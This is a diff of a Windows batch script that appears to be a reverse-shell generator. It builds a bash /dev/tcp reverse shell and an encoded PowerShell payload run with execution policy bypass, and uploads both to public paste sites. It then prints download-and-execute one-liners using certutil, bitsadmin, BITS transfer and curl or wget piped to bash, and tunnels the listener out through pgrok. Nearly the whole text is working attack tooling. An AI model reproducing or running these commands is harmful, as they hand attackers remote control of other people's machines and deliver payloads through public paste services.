@@ -267,11 +267,10 @@ goto :eof
267
267
:: base64 encode
268
268
:rs_base64_encode_start
269
269
set /p<nul = " %~1 " > " %temp% \rs_temp_input.rsg"
270
- certutil -f -encode " %temp% \rs_temp_input.rsg" " %temp% \rs_temp_output.rsg" > nul
271
- for /f %%i in ('findstr /b /c:" -" /v " %temp% \rs_temp_output.rsg" ') do (
272
- set " rsgen_b64_res = %%i "
273
- )
274
- :rs_base64_encode_ende
270
+ certutil -encodehex -f " %temp% \rs_temp_input.rsg" " %temp% \rs_temp_output.rsg" 0x40000001 > nul 2 > nul
271
+ FOR /F " delims==" %%i in (%temp% \rs_temp_output.rsg) do (set rsgen_b64_res=%%i )
272
+ rem echo "!rsgen_b64_res!"
273
+ :rs_base64_encode_end
275
274
276
275
:: Clean temporary files
277
276
:rs_clean_tempfile_start
@@ -386,7 +385,6 @@ if exist "%cd%\include\pgrok.exe" (
386
385
if !rs_pgrok! == 0 (
387
386
FOR /F tokens^ =11^ delims^ =^ /^ \^ :^ ,^ " %%i in ('%cd% \include\curl.exe -s --retry 3 --retry-delay 5 --retry-connrefused http://localhost:4040/http/in^|find /i " tcp://" ') do (set rs_pgrok_host=%%i )
388
387
FOR /F tokens^ =12^ delims^ =^ /^ \^ :^ ,^ " %%i in ('%cd% \include\curl.exe -s --retry 3 --retry-delay 5 --retry-connrefused http://localhost:4040/http/in^|find /i " tcp://" ') do (set rs_pgrok_port=%%i )
389
-
390
388
set rs_listen_host =
391
389
set rs_listen_host = !rs_pgrok_host!
392
390
echo + Starting the pgrok tcp tunnel 127.0.0.1:!rs_listen_port! ^ < == ^ > !rs_pgrok_host! :!rs_pgrok_port!
@@ -497,6 +495,7 @@ set rs_ps_command_b64=!powershell_listener_payload!
497
495
498
496
set " rs_ps_command_pre_lan = &powershell -EP Bypass -NoLogo -NonI -NoP -Enc "
499
497
set " linux_command_raw_lan = /bin/bash -i>&/dev/tcp/!rs_listen_host! /!rs_listen_port! 0 >&1"
498
+ rem echo !linux_command_raw_lan!.test
500
499
call :rs_base64_encode_start " !linux_command_raw_lan! "
501
500
set rs_linux_command_b64_lan = %rsgen_b64_res%
502
501
set " rs_command_b64_lan = !rs_linux_command_b64_lan!!rs_ps_command_pre_lan!!rs_ps_command_b64! "
@@ -568,71 +567,71 @@ goto :eof
568
567
:rs_command_lan_end
569
568
570
569
:rs_command_generate_pub_output_windowsw10_start
571
- if " !rs_pastebin_status! " == " 0" echo [92m certutil -urlcache -split -f !rs_base64_payload_url! .txt cd.bat^ |cd.bat[0m
570
+ if " !rs_pastebin_status! " == " 0" echo [92m certutil -urlcache -split -f !rs_base64_payload_url! cd.bat^ |cd.bat[0m
572
571
echo,
573
- if " !rs_pastebin_status! " == " 0" echo [92m certutil -urlcache -split -f !rs_c#_payload_url! .txt cd.bat^ |cd.bat !rs_listen_host! !rs_listen_port! cmd[0m
572
+ if " !rs_pastebin_status! " == " 0" echo [92m certutil -urlcache -split -f !rs_c#_payload_url! cd.bat^ |cd.bat !rs_listen_host! !rs_listen_port! cmd[0m
574
573
echo,
575
- if " !rs_pastebin_status! " == " 0" echo [92m certutil -urlcache -split -f !rs_c#_payload_url! .txt cd.bat^ |cd.bat !rs_listen_host! !rs_listen_port! powershell[0m
574
+ if " !rs_pastebin_status! " == " 0" echo [92m certutil -urlcache -split -f !rs_c#_payload_url! cd.bat^ |cd.bat !rs_listen_host! !rs_listen_port! powershell[0m
576
575
echo,
577
- if " !rs_pastebin_status! " == " 0" echo [92m bitsadmin /transfer n !rs_base64_payload_url! .txt %% cd%% \cd.bat^ |cd.bat[0m
576
+ if " !rs_pastebin_status! " == " 0" echo [92m bitsadmin /transfer n !rs_base64_payload_url! %% cd%% \cd.bat^ |cd.bat[0m
578
577
echo,
579
- if " !rs_pastebin_status! " == " 0" echo [92m powershell " Import-Module bitstransfer;start-bitstransfer !rs_base64_payload_url! .txt cd.bat" ^ |cd.bat[0m
578
+ if " !rs_pastebin_status! " == " 0" echo [92m powershell " Import-Module bitstransfer;start-bitstransfer !rs_base64_payload_url! cd.bat" ^ |cd.bat[0m
580
579
echo,
581
580
goto :eof
582
581
:rs_command_generate_pub_output_windowsw10_end
583
582
584
583
:rs_command_generate_pub_output_linuxw10_start
585
- if " !rs_pastebin_status! " == " 0" echo [92m curl !rs_base64_payload_url! .txt ^ |base64 -d^ |bash[0m
584
+ if " !rs_pastebin_status! " == " 0" echo [92m curl !rs_base64_payload_url! ^ |base64 -d^ |bash[0m
586
585
echo,
587
- if " !rs_pastebin_status! " == " 0" echo [92m wget -qO- !rs_base64_payload_url! .txt ^ |base64 -d^ |bash[0m
586
+ if " !rs_pastebin_status! " == " 0" echo [92m wget -qO- !rs_base64_payload_url! ^ |base64 -d^ |bash[0m
588
587
echo,
589
588
goto :eof
590
589
:rs_command_generate_pub_output_linuxw10_end
591
590
592
591
:rs_command_generate_pub_output_wl10_start
593
- if " !rs_pastebin_status! " == " 0" echo [92m certutil -urlcache -split -f !rs_base64_payload_url! .txt cd.bat^ |cd.bat^ |^ |curl !rs_base64_payload_url! .txt ^ |base64 -d^ |bash[0m
592
+ if " !rs_pastebin_status! " == " 0" echo [92m certutil -urlcache -split -f !rs_base64_payload_url! cd.bat^ |cd.bat^ |^ |curl !rs_base64_payload_url! ^ |base64 -d^ |bash[0m
594
593
echo,
595
- if " !rs_pastebin_status! " == " 0" echo [92m certutil -urlcache -split -f !rs_c#_payload_url! .txt cd.bat^ |cd.bat^ |^ |curl !rs_base64_payload_url! .txt ^ |base64 -d^ |bash[0m
594
+ if " !rs_pastebin_status! " == " 0" echo [92m certutil -urlcache -split -f !rs_c#_payload_url! cd.bat^ |cd.bat^ |^ |curl !rs_base64_payload_url! ^ |base64 -d^ |bash[0m
596
595
echo,
597
- if " !rs_pastebin_status! " == " 0" echo [92m bitsadmin /transfer n !rs_base64_payload_url! .txt %% cd%% \cd.bat^ |cd.bat^ |^ |curl !rs_base64_payload_url! .txt ^ |base64 -d^ |bash[0m
596
+ if " !rs_pastebin_status! " == " 0" echo [92m bitsadmin /transfer n !rs_base64_payload_url! %% cd%% \cd.bat^ |cd.bat^ |^ |curl !rs_base64_payload_url! ^ |base64 -d^ |bash[0m
598
597
echo,
599
- if " !rs_pastebin_status! " == " 0" echo [92m powershell " Import-Module BitsTransfer;start-bitstransfer !rs_base64_payload_url! .txt cd.bat" ^ |cd.bat^ |^ |curl !rs_base64_payload_url! .txt ^ |base64 -d^ |bash[0m
598
+ if " !rs_pastebin_status! " == " 0" echo [92m powershell " Import-Module BitsTransfer;start-bitstransfer !rs_base64_payload_url! cd.bat" ^ |cd.bat^ |^ |curl !rs_base64_payload_url! ^ |base64 -d^ |bash[0m
600
599
echo,
601
600
goto :eof
602
601
:rs_command_generate_pub_output_wl10_end
603
602
604
603
:rs_command_generate_pub_output_windowsw7_start
605
- if " !rs_pastebin_status! " == " 0" echo certutil -urlcache -split -f !rs_base64_payload_url! .txt cd.bat^ |cd.bat
604
+ if " !rs_pastebin_status! " == " 0" echo certutil -urlcache -split -f !rs_base64_payload_url! cd.bat^ |cd.bat
606
605
echo,
607
- if " !rs_pastebin_status! " == " 0" echo certutil -urlcache -split -f !rs_c#_payload_url! .txt cd.bat^ |cd.bat !rs_listen_host! !rs_listen_port! cmd
606
+ if " !rs_pastebin_status! " == " 0" echo certutil -urlcache -split -f !rs_c#_payload_url! cd.bat^ |cd.bat !rs_listen_host! !rs_listen_port! cmd
608
607
echo,
609
- if " !rs_pastebin_status! " == " 0" echo certutil -urlcache -split -f !rs_c#_payload_url! .txt cd.bat^ |cd.bat !rs_listen_host! !rs_listen_port! powershell
608
+ if " !rs_pastebin_status! " == " 0" echo certutil -urlcache -split -f !rs_c#_payload_url! cd.bat^ |cd.bat !rs_listen_host! !rs_listen_port! powershell
610
609
echo,
611
- if " !rs_pastebin_status! " == " 0" echo bitsadmin /transfer n !rs_base64_payload_url! .txt %% cd%% \cd.bat^ |cd.bat
610
+ if " !rs_pastebin_status! " == " 0" echo bitsadmin /transfer n !rs_base64_payload_url! %% cd%% \cd.bat^ |cd.bat
612
611
echo,
613
- if " !rs_pastebin_status! " == " 0" echo powershell " Import-Module bitstransfer;start-bitstransfer !rs_base64_payload_url! .txt cd.bat" ^ |cd.bat
612
+ if " !rs_pastebin_status! " == " 0" echo powershell " Import-Module bitstransfer;start-bitstransfer !rs_base64_payload_url! cd.bat" ^ |cd.bat
614
613
echo,
615
614
goto :eof
616
615
:rs_command_generate_pub_output_windowsw7_end
617
616
618
617
:rs_command_generate_pub_output_linuxw7_start
619
- if " !rs_pastebin_status! " == " 0" echo curl !rs_base64_payload_url! .txt ^ |base64 -d^ |bash
618
+ if " !rs_pastebin_status! " == " 0" echo curl !rs_base64_payload_url! ^ |base64 -d^ |bash
620
619
echo,
621
- if " !rs_pastebin_status! " == " 0" echo wget -qO- !rs_base64_payload_url! .txt ^ |base64 -d^ |bash
620
+ if " !rs_pastebin_status! " == " 0" echo wget -qO- !rs_base64_payload_url! ^ |base64 -d^ |bash
622
621
echo,
623
- if " !rs_pastebin_status! " == " 0" echo wget -qO- !rs_base64_payload_url! .txt ^ |base64 -d^ |bash
622
+ if " !rs_pastebin_status! " == " 0" echo wget -qO- !rs_base64_payload_url! ^ |base64 -d^ |bash
624
623
echo,
625
624
goto :eof
626
625
:rs_command_generate_pub_output_linuxw7_end
627
626
628
627
:rs_command_generate_pub_output_wl7_start
629
- if " !rs_pastebin_status! " == " 0" echo certutil -urlcache -split -f !rs_base64_payload_url! .txt cd.bat^ |cd.bat^ |^ |curl !rs_base64_payload_url! .txt ^ |base64 -d^ |bash
628
+ if " !rs_pastebin_status! " == " 0" echo certutil -urlcache -split -f !rs_base64_payload_url! cd.bat^ |cd.bat^ |^ |curl !rs_base64_payload_url! ^ |base64 -d^ |bash
630
629
echo,
631
- if " !rs_pastebin_status! " == " 0" echo certutil -urlcache -split -f !rs_c#_payload_url! .txt cd.bat^ |cd.bat^ |^ |curl !rs_base64_payload_url! .txt ^ |base64 -d^ |bash
630
+ if " !rs_pastebin_status! " == " 0" echo certutil -urlcache -split -f !rs_c#_payload_url! cd.bat^ |cd.bat^ |^ |curl !rs_base64_payload_url! ^ |base64 -d^ |bash
632
631
echo,
633
- if " !rs_pastebin_status! " == " 0" echo bitsadmin /transfer n !rs_base64_payload_url! .txt %% cd%% \cd.bat^ |cd.bat^ |^ |curl !rs_base64_payload_url! .txt ^ |base64 -d^ |bash
632
+ if " !rs_pastebin_status! " == " 0" echo bitsadmin /transfer n !rs_base64_payload_url! %% cd%% \cd.bat^ |cd.bat^ |^ |curl !rs_base64_payload_url! ^ |base64 -d^ |bash
634
633
echo,
635
- if " !rs_pastebin_status! " == " 0" echo " powershell " Import-Module BitsTransfer;start-bitstransfer !rs_base64_payload_url! .txt cd.bat" |cd.bat^|^|curl !rs_base64_payload_url! .txt ^|base64 -d^|bash"
634
+ if " !rs_pastebin_status! " == " 0" echo " powershell " Import-Module BitsTransfer;start-bitstransfer !rs_base64_payload_url! cd.bat" |cd.bat^|^|curl !rs_base64_payload_url! ^|base64 -d^|bash"
636
635
echo,
637
636
goto :eof
638
637
:rs_command_generate_pub_output_wl7_end
@@ -649,11 +648,10 @@ call :rs_powershell_listener_payload_start
649
648
set " linux_command_raw = /bin/bash -i>&/dev/tcp/!rs_listen_host! /!rs_listen_port! 0 >&1"
650
649
call :rs_base64_encode_start " !linux_command_raw! "
651
650
set rs_linux_command_b64 = %rsgen_b64_res%
652
- :: echo %rs_linux_command_b64%
653
651
set rs_ps_command_suf_b64 = !powershell_listener_payload!
654
652
:: echo %rs_ps_command_suf_b64%
655
653
set " rs_command_b64 = !rs_linux_command_b64!!rs_ps_command_pre!!rs_ps_command_suf_b64! "
656
- :: echo !rs_command_b64!
654
+ rem echo !rs_command_b64!
657
655
call :rs_command_upload_start !rs_listen_host! !rs_listen_port!
658
656
if " !rs_pastebin_status! " == " -1" (
659
657
echo,
@@ -679,14 +677,36 @@ if exist "%cd%\include\curl.exe" (
679
677
set rs_base64_payload_url =
680
678
FOR /F %%i in ('%cd% \include\curl.exe --retry 3 --retry-delay 5 --retry-connrefused -s -F " paste=<%cd% \payload\rs_base64.payload" https://p.ip.fi') do (set rs_base64_payload_url=%%i )
681
679
FOR /F %%i in ('%cd% \include\curl.exe --retry 3 --retry-delay 5 --retry-connrefused -s -F " paste=<%cd% \payload\c#.payload" https://p.ip.fi') do (set rs_c#_payload_url=%%i )
682
- rem echo !rs_base64_payload_url!
683
- rem echo !rs_c#_payload_url!
680
+ set rs_base64_payload_url = !rs_base64_payload_url! .txt
681
+ set rs_c#_payload_url = !rs_c#_payload_url! .txt
684
682
)
685
683
686
684
if " !rs_pastebin_api! " == " https://dpaste.com/api/v2/" (
687
685
set rs_base64_payload_url =
688
686
FOR /F %%i in ('%cd% \include\curl.exe --retry 3 --retry-delay 5 --retry-connrefused -s -F " content=<%cd% \payload\rs_base64.payload" https://dpaste.com/api/v2/') do (set rs_base64_payload_url=%%i )
689
687
FOR /F %%i in ('%cd% \include\curl.exe --retry 3 --retry-delay 5 --retry-connrefused -s -F " content=<%cd% \payload\c#.payload" https://dpaste.com/api/v2/') do (set rs_c#_payload_url=%%i )
688
+ set rs_base64_payload_url = !rs_base64_payload_url! .txt
689
+ set rs_c#_payload_url = !rs_c#_payload_url! .txt
690
+ )
691
+
692
+ if " !rs_pastebin_api! " == " https://paste.teknik.io/Action/Paste" (
693
+ set rs_base64_payload_url =
694
+ FOR /F %%i in ('%cd% \include\curl.exe --retry 3 --retry-delay 5 --retry-connrefused -ks -w " %% {redirect_url}" -o nul -F " content=<%cd% \payload\rs_base64.payload" https://paste.teknik.io/Action/Paste') do (set rs_base64_payload_url=%%i )
695
+ FOR /F %%i in ('%cd% \include\curl.exe --retry 3 --retry-delay 5 --retry-connrefused -ks -w " %% {redirect_url}" -o nul -F " content=<%cd% \payload\c#.payload" https://paste.teknik.io/Action/Paste') do (set rs_c#_payload_url=%%i )
696
+ FOR /F " tokens=3 delims==/" %%i in (" !rs_base64_payload_url! " ) do (set rs_base64_payload_url=%%i )
697
+ FOR /F " tokens=3 delims==/" %%i in (" !rs_c#_payload_url! " ) do (set rs_c#_payload_url=%%i )
698
+ set rs_base64_payload_url = https://paste.teknik.io/raw/!rs_base64_payload_url!
699
+ set rs_c#_payload_url = https://paste.teknik.io/raw/!rs_c#_payload_url!
700
+ )
701
+
702
+ if " !rs_pastebin_api! " == " https://ghostbin.co/paste/new" (
703
+ set rs_base64_payload_url =
704
+ FOR /F %%i in ('%cd% \include\curl.exe --retry 3 --retry-delay 5 --retry-connrefused -ks -w " %% {redirect_url}" -o nul -F " text=<%cd% \payload\rs_base64.payload" https://ghostbin.co/paste/new') do (set rs_base64_payload_url=%%i )
705
+ FOR /F %%i in ('%cd% \include\curl.exe --retry 3 --retry-delay 5 --retry-connrefused -ks -w " %% {redirect_url}" -o nul -F " text=<%cd% \payload\c#.payload" https://ghostbin.co/paste/new') do (set rs_c#_payload_url=%%i )
706
+ FOR /F " tokens=4 delims==/" %%i in (" !rs_base64_payload_url! " ) do (set rs_base64_payload_url=%%i )
707
+ FOR /F " tokens=4 delims==/" %%i in (" !rs_c#_payload_url! " ) do (set rs_c#_payload_url=%%i )
708
+ set rs_base64_payload_url = https://ghostbin.co/paste/!rs_base64_payload_url! /raw
709
+ set rs_c#_payload_url = https://ghostbin.co/paste/!rs_c#_payload_url! /raw
690
710
rem echo !rs_base64_payload_url!
691
711
rem echo !rs_c#_payload_url!
692
712
)
0 commit comments